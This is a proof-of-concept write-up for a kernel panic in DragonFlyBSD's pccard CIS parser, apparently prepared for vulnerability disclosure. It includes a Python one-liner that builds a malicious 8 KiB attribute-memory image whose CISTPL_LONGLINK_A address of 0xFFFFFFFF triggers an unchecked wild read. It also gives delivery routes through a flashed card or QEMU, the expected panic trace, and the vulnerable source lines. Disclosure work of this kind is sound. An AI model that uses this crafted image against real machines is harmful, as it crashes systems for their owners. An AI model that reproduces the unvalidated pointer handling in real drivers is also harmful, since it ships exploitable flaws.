# DF-1040 PoC — CISTPL_LONGLINK_A wild-read panic

## Trigger

CIS attribute-memory image, 14 bytes (pad to 8 KiB with 0xFF):

| Offset | Value | Meaning                                  |
|--------|-------|------------------------------------------|
| 0x00   | 0x11  | CISTPL_LONGLINK_A code                   |
| 0x02   | 0x04  | length = 4                               |
| 0x04   | 0xFF  | addr byte 0                              |
| 0x06   | 0xFF  | addr byte 1                              |
| 0x08   | 0xFF  | addr byte 2                              |
| 0x0A   | 0xFF  | addr byte 3 -> longlink_addr=0xFFFFFFFF  |
| 0x0C   | 0xFF  | CISTPL_END                               |

Generate the binary:

```sh
python3 -c "
import sys
img = bytearray([0xFF]) * (8*1024)
img[0x00] = 0x11   # CISTPL_LONGLINK_A
img[0x02] = 0x04   # length
img[0x04] = 0xFF   # addr byte 0
img[0x06] = 0xFF   # addr byte 1
img[0x08] = 0xFF   # addr byte 2
img[0x0A] = 0xFF   # addr byte 3 -> 0xFFFFFFFF
img[0x0C] = 0xFF   # CISTPL_END
sys.stdout.buffer.write(img)
" > cis_image.bin
```

## How to run

PCMCIA hardware is uncommon on modern systems. Two realistic paths:

1. **Physical:** flash `cis_image.bin` into a PCMCIA attribute-memory EEPROM and
   insert the card. On DragonFlyBSD with `pccard` configured, the kernel panics
   on attach.

2. **QEMU:** boot DragonFlyBSD under QEMU with the PCMCIA/PCIC bridge
   (`-device pcic,...`) and inject the CIS image via a QEMU nvram patch or a
   small device-model hook that overrides the attribute-memory reads.

3. **Unit-test (no hardware):** construct a `struct pccard_tuple` with
   `mult=2`, `ptr=0xFFFFFFFF`, and a `bus_space_read_1` shim that faults past
   the 4096-byte mapping; call the chain-transition helper to demonstrate the
   unguarded dereference. This proves the code path; it does not produce a real
   kernel panic.

## Expected output

```
Fatal trap 12: page fault while in kernel mode
cpuid = 0; apic id = 00000000
fault virtual address   = 0x1fffffffe
[...]
pccard_scan_cis(...) at pccard_cis.c:413
pccard_read_cis(...)    at pccard.c:195
pccard_attach_card(...) at pccard.c:...
```

## Kernel references

- `sys/bus/pccard/pccard_cis.c:212`   — longlink_addr read verbatim from card
- `sys/bus/pccard/pccard_cis.c:334`   — mfc[].addr read verbatim from card
- `sys/bus/pccard/pccard_cis.c:386-437` — chain-transition loop
- `sys/bus/pccard/pccard_cis.c:394`   — `tuple.ptr = longlink_addr` (no check)
- `sys/bus/pccard/pccard_cis.c:406`   — `tuple.ptr = mfc[i].addr` (no check)
- `sys/bus/pccard/pccard_cis.c:413`   — wild `bus_space_read_1`
- `sys/bus/pccard/pccardvar.h:255-256` — `pccard_cis_read_1` macro (no bounds)
